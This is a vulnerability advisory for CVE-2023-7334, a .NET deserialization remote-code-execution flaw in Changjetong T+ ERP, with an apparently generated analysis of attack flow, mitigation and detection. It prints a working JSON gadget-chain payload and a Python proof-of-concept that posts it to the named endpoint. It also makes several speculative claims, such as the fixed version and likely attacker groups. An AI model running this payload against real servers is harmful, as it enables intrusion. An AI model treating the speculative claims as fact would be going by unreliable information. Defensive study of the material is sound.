CVE-2023-7334
CVE-2023-7334
Weakness (CWE)
CVSS Vector
v4.0- Attack Vector
- Network
- Attack Complexity
- Low
- Attack Requirements
- None
- Privileges Required
- None
- User Interaction
- None
- Confidentiality (Vulnerable)
- High
- Integrity (Vulnerable)
- High
- Availability (Vulnerable)
- High
- Confidentiality (Subsequent)
- None
- Integrity (Subsequent)
- None
- Availability (Subsequent)
- None
Description
Changjetong T+ versions up to and including 16.x contain a .NET deserialization vulnerability in an AjaxPro endpoint that can lead to remote code execution. A remote attacker can send a crafted request to /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore with a malicious JSON body that leverages deserialization of attacker-controlled .NET types to invoke arbitrary methods such as System.Diagnostics.Process.Start. This can result in execution of arbitrary commands in the context of the T+ application service account. Exploitation evidence was observed by the Shadowserver Foundation as early as 2023-08-19 (UTC).
Comprehensive Technical Analysis of CVE-2023-7334
CVE ID: CVE-2023-7334 CVSS Score: 9.8 (Critical) Vulnerability Type: .NET Deserialization Leading to Remote Code Execution (RCE) Affected Software: Changjetong T+ (versions up to and including 16.x)
1. Vulnerability Assessment and Severity Evaluation
Vulnerability Overview
CVE-2023-7334 is a critical .NET deserialization vulnerability in Changjetong T+, a widely used enterprise resource planning (ERP) software in China. The flaw resides in an AjaxPro endpoint (/tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx) that improperly handles attacker-controlled JSON input, leading to arbitrary .NET object deserialization.
Root Cause
- The vulnerability stems from unsafe deserialization of untrusted data in the
GetStoreWarehouseByStoremethod. - The application fails to validate or sanitize user-supplied JSON input, allowing an attacker to inject malicious .NET objects that execute arbitrary code during deserialization.
- Exploitation leverages gadget chains (e.g.,
System.Diagnostics.Process.Start) to achieve remote code execution (RCE) in the context of the T+ application service account.
Severity Justification (CVSS 9.8)
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | Exploitable remotely without authentication. |
| Attack Complexity | Low | No special conditions required; exploit is straightforward. |
| Privileges Required | None | No prior access or privileges needed. |
| User Interaction | None | Exploitation does not require user interaction. |
| Scope | Unchanged | Impact is confined to the vulnerable system. |
| Confidentiality | High | Full system compromise possible. |
| Integrity | High | Arbitrary code execution allows data tampering. |
| Availability | High | Attacker can disrupt services or deploy ransomware. |
Temporal Score Adjustments:
- Exploit Code Maturity: Functional (public PoCs available)
- Remediation Level: Official patch available (but may not be widely deployed)
- Report Confidence: Confirmed (exploitation observed in the wild)
2. Potential Attack Vectors and Exploitation Methods
Exploitation Workflow
-
Reconnaissance:
- Attacker identifies a vulnerable Changjetong T+ instance (e.g., via Shodan, FOFA, or manual probing).
- Confirms the presence of the vulnerable endpoint (
/tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx).
-
Crafting the Exploit:
- The attacker constructs a malicious JSON payload containing a deserialization gadget chain (e.g.,
System.Diagnostics.Process.Start). - Example payload structure (simplified):
{ "__type": "System.Windows.Data.ObjectDataProvider, PresentationFramework", "MethodName": "Start", "MethodParameters": { "__type": "System.Diagnostics.Process, System", "StartInfo": { "__type": "System.Diagnostics.ProcessStartInfo, System", "FileName": "cmd.exe", "Arguments": "/c whoami > C:\\temp\\pwned.txt" } } } - The payload is sent via a POST request to the vulnerable endpoint.
- The attacker constructs a malicious JSON payload containing a deserialization gadget chain (e.g.,
-
Deserialization & RCE:
- The server deserializes the JSON payload, triggering the gadget chain.
- The
Process.Startmethod executes the attacker’s command (e.g., reverse shell, data exfiltration, or malware deployment).
-
Post-Exploitation:
- Attacker gains full control over the system with the privileges of the T+ service account (often
SYSTEMor a high-privilege domain account). - Potential actions:
- Lateral movement within the network.
- Data exfiltration (e.g., financial records, PII).
- Deployment of ransomware or backdoors.
- Attacker gains full control over the system with the privileges of the T+ service account (often
Observed Exploitation in the Wild
- Shadowserver Foundation reported active exploitation as early as August 19, 2023 (UTC).
- Public proof-of-concept (PoC) exploits are available (e.g., MD-SEC’s GitHub repository).
- Likely used in targeted attacks against enterprises using Changjetong T+.
3. Affected Systems and Software Versions
Vulnerable Software
- Product: Changjetong T+ (ERP software)
- Affected Versions: All versions up to and including 16.x
- Vendor: Chanjet Information Technology Co., Ltd.
Deployment Context
- Typically deployed in enterprise environments (finance, manufacturing, logistics).
- Often integrated with Active Directory (AD) and other critical systems, increasing the blast radius of an attack.
Unaffected Versions
- Versions 17.0 and above (assuming the vendor has patched the issue).
- Workarounds (if patching is not immediately possible).
4. Recommended Mitigation Strategies
Immediate Actions
-
Apply Vendor Patches:
- Upgrade to the latest version of Changjetong T+ (17.0 or later) if available.
- Monitor vendor advisories for official patches.
-
Temporary Workarounds (if patching is delayed):
- Network-Level Protections:
- Block access to the vulnerable endpoint (
/tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx) via WAF rules or firewall policies. - Restrict access to the T+ application to trusted IPs only.
- Block access to the vulnerable endpoint (
- Application-Level Protections:
- Disable AjaxPro if not critical to business operations.
- Implement .NET deserialization hardening (e.g.,
TypeNameHandling.Nonein JSON serialization settings).
- Endpoint Protections:
- Deploy EDR/XDR solutions to detect and block suspicious process execution (e.g.,
cmd.exe,powershell.exespawned byw3wp.exe). - Enable Windows Defender Exploit Guard (ASR rules) to block process injection.
- Deploy EDR/XDR solutions to detect and block suspicious process execution (e.g.,
- Network-Level Protections:
-
Monitoring & Detection:
- SIEM Alerts: Monitor for unusual HTTP POST requests to the vulnerable endpoint.
- Log Analysis: Check IIS/Apache logs for malformed JSON payloads or unexpected process execution.
- YARA Rules: Deploy rules to detect deserialization gadget chains in network traffic.
Long-Term Mitigations
-
Secure Development Practices:
- Avoid unsafe deserialization (use
DataContractSerializerorSystem.Text.Jsonwith strict type restrictions). - Implement input validation for all JSON inputs.
- Use allowlists for deserializable types.
- Avoid unsafe deserialization (use
-
Network Segmentation:
- Isolate ERP systems in a dedicated VLAN with strict access controls.
- Implement zero-trust principles for internal applications.
-
Regular Vulnerability Scanning:
- Use Nessus, OpenVAS, or Qualys to scan for vulnerable T+ instances.
- Penetration testing to identify misconfigurations.
-
Incident Response Planning:
- Develop a playbook for deserialization-based RCE attacks.
- Ensure backups are offline and tested for recovery.
5. Impact on the Cybersecurity Landscape
Strategic Implications
-
Increased Attack Surface for Enterprises:
- Changjetong T+ is widely used in Chinese enterprises, making this a high-value target for APT groups and ransomware operators.
- Similar to CVE-2021-44228 (Log4Shell), this vulnerability could be weaponized at scale due to its low complexity and high impact.
-
Supply Chain Risks:
- Many organizations integrate T+ with third-party financial and HR systems, increasing the risk of lateral movement post-exploitation.
-
Regulatory & Compliance Risks:
- GDPR, CCPA, and China’s PIPL may impose fines if sensitive data is exfiltrated.
- PCI DSS compliance may be violated if financial data is compromised.
Tactical Threat Trends
-
Exploitation by APT Groups:
- Likely to be adopted by Chinese APTs (e.g., APT41, Mustang Panda) for espionage and financial theft.
- Ransomware groups (e.g., LockBit, BlackCat) may use it for initial access.
-
Exploit Chaining:
- Could be combined with privilege escalation (e.g., CVE-2023-23397) or lateral movement (e.g., Zerologon) for full domain compromise.
-
Underground Exploit Market:
- PoCs are already publicly available, increasing the risk of script-kiddie attacks.
- Exploit-as-a-Service (EaaS) offerings may emerge in dark web forums.
6. Technical Details for Security Professionals
Exploitation Deep Dive
Vulnerable Endpoint Analysis
- Endpoint:
/tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx - Method:
GetStoreWarehouseByStore - HTTP Method:
POST - Content-Type:
application/json
Deserialization Gadget Chain
The exploit leverages insecure .NET deserialization to trigger a gadget chain that ultimately calls System.Diagnostics.Process.Start. Key components:
- ObjectDataProvider (PresentationFramework):
- Used to invoke methods on arbitrary objects.
- ProcessStartInfo (System):
- Configures the command to execute (e.g.,
cmd.exe /c calc.exe).
- Configures the command to execute (e.g.,
- Process (System):
- Executes the command with the privileges of the T+ service account.
Proof-of-Concept (PoC) Breakdown
A simplified PoC (based on MD-SEC’s exploit):
import requests
import json
target = "http://<TARGET_IP>/tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0"
}
payload = {
"__type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"__type": "System.Diagnostics.Process, System",
"StartInfo": {
"__type": "System.Diagnostics.ProcessStartInfo, System",
"FileName": "cmd.exe",
"Arguments": "/c whoami > C:\\temp\\pwned.txt"
}
}
}
response = requests.post(
f"{target}?method=GetStoreWarehouseByStore",
headers=headers,
data=json.dumps(payload)
)
print(response.text)
Detection & Forensics
-
Network Indicators:
- HTTP POST to
/tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore. - JSON payloads containing
.NET type names(e.g.,System.Diagnostics.Process).
- HTTP POST to
-
Host-Based Indicators:
- Unexpected child processes of
w3wp.exe(IIS worker process) orTPlusService.exe. - Suspicious command-line arguments (e.g.,
cmd.exe /c,powershell.exe -nop -c). - File creation/modification in
C:\temp\or other writable directories.
- Unexpected child processes of
-
Log Analysis:
- IIS logs showing large or malformed JSON payloads.
- Windows Event Logs (Security, Sysmon) for process creation events.
Hardening .NET Deserialization
To prevent similar vulnerabilities:
- Use Safe Serializers:
- Replace
JavaScriptSerializerorNewtonsoft.JsonwithSystem.Text.Json(withTypeInfoResolverrestrictions). - Example:
var options = new JsonSerializerOptions { TypeInfoResolver = new DefaultJsonTypeInfoResolver() }; var obj = JsonSerializer.Deserialize<MyType>(json, options);
- Replace
- Disable Type Handling:
- Set
TypeNameHandling = NoneinNewtonsoft.Json.
- Set
- Implement Allowlists:
- Only deserialize pre-approved types.
- Use Sandboxing:
- Run deserialization in a low-privilege AppDomain.
Conclusion
CVE-2023-7334 represents a critical .NET deserialization vulnerability with high exploitability and severe impact. Given the public PoCs, active exploitation, and widespread use of Changjetong T+, organizations must prioritize patching, network segmentation, and monitoring to mitigate risks.
Key Takeaways for Security Teams: ✅ Patch immediately (upgrade to T+ 17.0+). ✅ Block the vulnerable endpoint if patching is delayed. ✅ Monitor for exploitation attempts (SIEM, EDR, WAF). ✅ Assume breach and hunt for post-exploitation activity. ✅ Educate developers on secure deserialization practices.
Failure to address this vulnerability could result in full system compromise, data breaches, and ransomware attacks. Proactive measures are essential to prevent exploitation.